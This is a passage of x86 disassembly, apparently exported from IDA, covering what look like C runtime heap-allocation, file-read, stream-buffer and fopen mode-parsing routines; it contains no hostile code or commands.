					; sub_41E6FD+283j
		mov	ecx, [ebp+var_8]


loc_41E9B4:				; CODE XREF: sub_41E6FD+1A4j
		test	ecx, ecx
		jz	short loc_41E9C3
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41E9C3
; ---------------------------------------------------------------------------


loc_41E9C0:				; CODE XREF: sub_41E6FD+229j
		mov	ecx, [ebp+var_8]


loc_41E9C3:				; CODE XREF: sub_41E6FD+2B9j
					; sub_41E6FD+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41E9F9
		cmp	ebx, dword_4E2B74
		jnz	short loc_41E9F9
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4E2B6C
		jnz	short loc_41E9F9
		and	dword_4E2B74, 0


loc_41E9F9:				; CODE XREF: sub_41E6FD+2E0j
					; sub_41E6FD+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_41EA01:				; CODE XREF: sub_41E6FD+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E6FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EA06	proc near		; CODE XREF: sub_41E6FD+CCp
		mov	eax, dword_4E2B78
		mov	ecx, dword_4E2B68
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41EA49
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_4E2B7C
		push	edi
		push	dword_4E2B80
		call	dword_42719C	; RtlReAllocateHeap
		cmp	eax, edi
		jz	short loc_41EA99
		add	dword_4E2B68, 10h
		mov	dword_4E2B7C, eax
		mov	eax, dword_4E2B78


loc_41EA49:				; CODE XREF: sub_41EA06+11j
		mov	ecx, dword_4E2B7C
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_4E2B80
		lea	esi, [ecx+eax*4]
		call	dword_427148	; RtlAllocateHeap
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41EA99
		push	4
		push	2000h
		push	100000h
		push	edi
		call	dword_4271C4	; VirtualAlloc
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41EA9D
		push	dword ptr [esi+10h]
		push	edi
		push	dword_4E2B80
		call	dword_427144	; RtlFreeHeap


loc_41EA99:				; CODE XREF: sub_41EA06+30j
					; sub_41EA06+67j
		xor	eax, eax
		jmp	short loc_41EAB4
; ---------------------------------------------------------------------------


loc_41EA9D:				; CODE XREF: sub_41EA06+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_4E2B78
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_41EAB4:				; CODE XREF: sub_41EA06+95j
		pop	edi
		pop	esi
		retn
sub_41EA06	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EAB7	proc near		; CODE XREF: sub_41E6FD+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_41EAC9:				; CODE XREF: sub_41EAB7+19j
		test	eax, eax
		jl	short loc_41EAD2
		shl	eax, 1
		inc	ebx
		jmp	short loc_41EAC9
; ---------------------------------------------------------------------------


loc_41EAD2:				; CODE XREF: sub_41EAB7+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_41EAE7:				; CODE XREF: sub_41EAB7+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41EAE7
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		call	dword_4271C4	; VirtualAlloc
		test	eax, eax
		jnz	short loc_41EB1A
		or	eax, 0FFFFFFFFh
		jmp	loc_41EBAD
; ---------------------------------------------------------------------------


loc_41EB1A:				; CODE XREF: sub_41EAB7+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_41EB60
		lea	eax, [edi+10h]


loc_41EB27:				; CODE XREF: sub_41EAB7+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41EB27


loc_41EB60:				; CODE XREF: sub_41EAB7+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41EB9D
		or	[eax+4], edi


loc_41EB9D:				; CODE XREF: sub_41EAB7+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_41EBAD:				; CODE XREF: sub_41EAB7+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EAB7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EBB2	proc near		; CODE XREF: sub_41BA78+58p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_41ED60
		test	bl, 1
		jnz	loc_41ED59
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41ED59
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41EC29
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_41EC29:				; CODE XREF: sub_41EBB2+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41EC79
		cmp	ecx, 20h
		jnb	short loc_41EC55
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41EC79
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41EC79
; ---------------------------------------------------------------------------


loc_41EC55:				; CODE XREF: sub_41EBB2+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41EC79
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41EC79:				; CODE XREF: sub_41EBB2+7Dj
					; sub_41EBB2+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41ED47
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_41ECB3
		push	3Fh
		pop	edi


loc_41ECB3:				; CODE XREF: sub_41EBB2+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41ED35
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41ED0C
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41ECFF
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41ECFF:				; CODE XREF: sub_41EBB2+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_41ED31
; ---------------------------------------------------------------------------


loc_41ED0C:				; CODE XREF: sub_41EBB2+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41ED22
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41ED22:				; CODE XREF: sub_41EBB2+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_41ED31:				; CODE XREF: sub_41EBB2+158j
		shr	edx, cl
		or	[eax], edx


loc_41ED35:				; CODE XREF: sub_41EBB2+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41ED4A
; ---------------------------------------------------------------------------


loc_41ED47:				; CODE XREF: sub_41EBB2+E5j
		mov	edx, [ebp+arg_4]


loc_41ED4A:				; CODE XREF: sub_41EBB2+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41EEA0
; ---------------------------------------------------------------------------


loc_41ED59:				; CODE XREF: sub_41EBB2+52j
					; sub_41EBB2+5Cj
		xor	eax, eax
		jmp	loc_41EEA3
; ---------------------------------------------------------------------------


loc_41ED60:				; CODE XREF: sub_41EBB2+49j
		jge	loc_41EEA0
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41ED8B
		push	3Fh
		pop	esi


loc_41ED8B:				; CODE XREF: sub_41EBB2+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41EE1A
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41EDA4
		push	3Fh
		pop	esi


loc_41EDA4:				; CODE XREF: sub_41EBB2+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41EDF3
		cmp	esi, 20h
		jnb	short loc_41EDCF
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_41EDF0
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41EDF0
; ---------------------------------------------------------------------------


loc_41EDCF:				; CODE XREF: sub_41EBB2+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41EDF0
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41EDF0:				; CODE XREF: sub_41EBB2+214j
					; sub_41EBB2+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_41EDF3:				; CODE XREF: sub_41EBB2+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41EE1A
		push	3Fh
		pop	esi


loc_41EE1A:				; CODE XREF: sub_41EBB2+1DDj
					; sub_41EBB2+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41EE97
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_41EE6E
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41EE61
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_41EE61:				; CODE XREF: sub_41EBB2+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_41EE93
; ---------------------------------------------------------------------------


loc_41EE6E:				; CODE XREF: sub_41EBB2+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41EE84
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_41EE84:				; CODE XREF: sub_41EBB2+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_41EE93:				; CODE XREF: sub_41EBB2+2BAj
		shr	edx, cl
		or	[eax], edx


loc_41EE97:				; CODE XREF: sub_41EBB2+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_41EEA0:				; CODE XREF: sub_41EBB2+1A2j
					; sub_41EBB2:loc_41ED60j
		push	1
		pop	eax


loc_41EEA3:				; CODE XREF: sub_41EBB2+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EBB2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EEA8	proc near		; CODE XREF: sub_41B990+A9p
					; sub_41C1FF+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41EF7C
		test	al, 40h
		jnz	loc_41EF7C
		test	al, 2
		jz	short loc_41EECE
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41EF7C
; ---------------------------------------------------------------------------


loc_41EECE:				; CODE XREF: sub_41EEA8+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41EEE2
		push	esi
		call	sub_423852
		pop	ecx
		jmp	short loc_41EEE7
; ---------------------------------------------------------------------------


loc_41EEE2:				; CODE XREF: sub_41EEA8+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_41EEE7:				; CODE XREF: sub_41EEA8+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41EF81
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41EF6B
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41EF6B
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41EF40
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41EF29
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_4E1820[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41EF2E
; ---------------------------------------------------------------------------


loc_41EF29:				; CODE XREF: sub_41EEA8+6Bj
		mov	edi, offset dword_442E40


loc_41EF2E:				; CODE XREF: sub_41EEA8+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41EF40
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_41EF40:				; CODE XREF: sub_41EEA8+62j
					; sub_41EEA8+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41EF5D
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41EF5D
		test	ch, 4
		jnz	short loc_41EF5D
		mov	dword ptr [esi+18h], 1000h


loc_41EF5D:				; CODE XREF: sub_41EEA8+9Fj
					; sub_41EEA8+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41EF6B:				; CODE XREF: sub_41EEA8+55j
					; sub_41EEA8+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_41EF7C:				; CODE XREF: sub_41EEA8+Aj
					; sub_41EEA8+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41EEA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EF81	proc near		; CODE XREF: sub_41B990+90p
					; sub_41EEA8+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_4E1920
		jnb	loc_41F15E
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:4E1820h[eax*4]
		mov	eax, dword_4E1820[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41F15E
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41F036
		test	dl, 2
		jnz	short loc_41F036
		test	dl, 48h
		jz	short loc_41EFF6
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41EFF6
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_41EFF6:				; CODE XREF: sub_41EF81+56j
					; sub_41EF81+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		call	dword_4270E8	; ReadFile
		test	eax, eax
		jnz	short loc_41F049
		call	dword_42708C	; RtlGetLastWin32Error
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41F031
		mov	dword_4E14F8, 9
		mov	dword_4E14FC, ecx
		jmp	loc_41F16F
; ---------------------------------------------------------------------------


loc_41F031:				; CODE XREF: sub_41EF81+99j
		cmp	eax, 6Dh
		jnz	short loc_41F03D


loc_41F036:				; CODE XREF: sub_41EF81+4Cj
					; sub_41EF81+51j
		xor	eax, eax
		jmp	loc_41F172
; ---------------------------------------------------------------------------


loc_41F03D:				; CODE XREF: sub_41EF81+B3j
		push	eax
		call	sub_420244
		pop	ecx
		jmp	loc_41F16F
; ---------------------------------------------------------------------------


loc_41F049:				; CODE XREF: sub_41EF81+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41F159
		test	edx, edx
		jz	short loc_41F06E
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41F06E
		or	al, 4
		jmp	short loc_41F070
; ---------------------------------------------------------------------------


loc_41F06E:				; CODE XREF: sub_41EF81+E2j
					; sub_41EF81+E7j
		and	al, 0FBh


loc_41F070:				; CODE XREF: sub_41EF81+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41F153


loc_41F088:				; CODE XREF: sub_41EF81+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41F143
		cmp	al, 0Dh
		jz	short loc_41F0A4
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41F135
; ---------------------------------------------------------------------------


loc_41F0A4:				; CODE XREF: sub_41EF81+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41F0C2
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41F0B9
		add	[ebp+arg_8], 2
		jmp	short loc_41F117
; ---------------------------------------------------------------------------


loc_41F0B9:				; CODE XREF: sub_41EF81+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41F135
; ---------------------------------------------------------------------------


loc_41F0C2:				; CODE XREF: sub_41EF81+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	dword_4270E8	; ReadFile
		test	eax, eax
		jnz	short loc_41F0EA
		call	dword_42708C	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_41F131


loc_41F0EA:				; CODE XREF: sub_41EF81+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41F131
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41F10C
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41F117
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41F135
; ---------------------------------------------------------------------------


loc_41F10C:				; CODE XREF: sub_41EF81+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41F11C
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41F11C


loc_41F117:				; CODE XREF: sub_41EF81+136j
					; sub_41EF81+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41F134
; ---------------------------------------------------------------------------


loc_41F11C:				; CODE XREF: sub_41EF81+18Ej
					; sub_41EF81+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_42261C
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41F135


loc_41F131:				; CODE XREF: sub_41EF81+167j
					; sub_41EF81+16Dj
		mov	byte ptr [edi],	0Dh


loc_41F134:				; CODE XREF: sub_41EF81+199j
		inc	edi


loc_41F135:				; CODE XREF: sub_41EF81+11Ej
					; sub_41EF81+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41F088
		jmp	short loc_41F153
; ---------------------------------------------------------------------------


loc_41F143:				; CODE XREF: sub_41EF81+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41F153
		or	al, 2
		mov	[esi], al


loc_41F153:				; CODE XREF: sub_41EF81+101j
					; sub_41EF81+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_41F159:				; CODE XREF: sub_41EF81+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41F172
; ---------------------------------------------------------------------------


loc_41F15E:				; CODE XREF: sub_41EF81+12j
					; sub_41EF81+39j
		and	dword_4E14FC, 0
		mov	dword_4E14F8, 9


loc_41F16F:				; CODE XREF: sub_41EF81+ABj
					; sub_41EF81+C3j
		or	eax, 0FFFFFFFFh


loc_41F172:				; CODE XREF: sub_41EF81+B7j
					; sub_41EF81+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EF81	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F177	proc near		; CODE XREF: sub_41BA78+106p
					; sub_41BBDD+1Fp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4E1574
		test	eax, eax
		jz	short loc_41F18F
		push	[esp+arg_0]
		call	eax ; dword_4E1574
		test	eax, eax
		pop	ecx
		jz	short loc_41F18F
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41F18F:				; CODE XREF: sub_41F177+7j
					; sub_41F177+12j
		xor	eax, eax
		retn
sub_41F177	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F192	proc near		; CODE XREF: sub_41BB98+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_4E16E0
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_41F1CB
		cmp	al, 72h
		jz	short loc_41F1C4
		cmp	al, 77h
		jnz	loc_41F2DF
		mov	ecx, 301h
		jmp	short loc_41F1D0
; ---------------------------------------------------------------------------


loc_41F1C4:				; CODE XREF: sub_41F192+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41F1D3
; ---------------------------------------------------------------------------


loc_41F1CB:				; CODE XREF: sub_41F192+1Dj
		mov	ecx, 109h


loc_41F1D0:				; CODE XREF: sub_41F192+30j
		or	esi, 2


loc_41F1D3:				; CODE XREF: sub_41F192+37j
		push	1
		pop	edx


loc_41F1D6:				; CODE XREF: sub_41F192+8Bj
					; sub_41F192+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41F2C5
		cmp	edx, ebx
		jz	loc_41F2C5
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41F264
		jz	short loc_41F254
		sub	eax, 2Bh
		jz	short loc_41F23E
		sub	eax, 19h
		jz	short loc_41F234
		sub	eax, 0Eh
		jz	short loc_41F21F
		dec	eax
		jnz	loc_41F2B6
		cmp	[ebp+var_4], ebx
		jnz	loc_41F2B6
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41F1D6
; ---------------------------------------------------------------------------


loc_41F21F:				; CODE XREF: sub_41F192+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41F2B6
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41F1D6
; ---------------------------------------------------------------------------


loc_41F234:				; CODE XREF: sub_41F192+6Aj
		test	cl, 40h
		jnz	short loc_41F2B6
		or	ecx, 40h
		jmp	short loc_41F1D6
; ---------------------------------------------------------------------------


loc_41F23E:				; CODE XREF: sub_41F192+65j
		test	cl, 2
		jnz	short loc_41F2B6
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41F1D6
; ---------------------------------------------------------------------------


loc_41F254:				; CODE XREF: sub_41F192+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41F2B6
		or	ecx, eax
		jmp	loc_41F1D6
; ---------------------------------------------------------------------------


loc_41F264:				; CODE XREF: sub_41F192+5Ej
		sub	eax, 62h
		jz	short loc_41F2B1
		dec	eax
		jz	short loc_41F29A
		sub	eax, 0Bh
		jz	short loc_41F283
		sub	eax, 6
		jnz	short loc_41F2B6
		test	ch, 0C0h
		jnz	short loc_41F2B6
		or	ch, 40h
		jmp	loc_41F1D6
; ---------------------------------------------------------------------------


loc_41F283:				; CODE XREF: sub_41F192+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41F2B6
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41F1D6
; ---------------------------------------------------------------------------


loc_41F29A:				; CODE XREF: sub_41F192+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41F2B6
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41F1D6
; ---------------------------------------------------------------------------


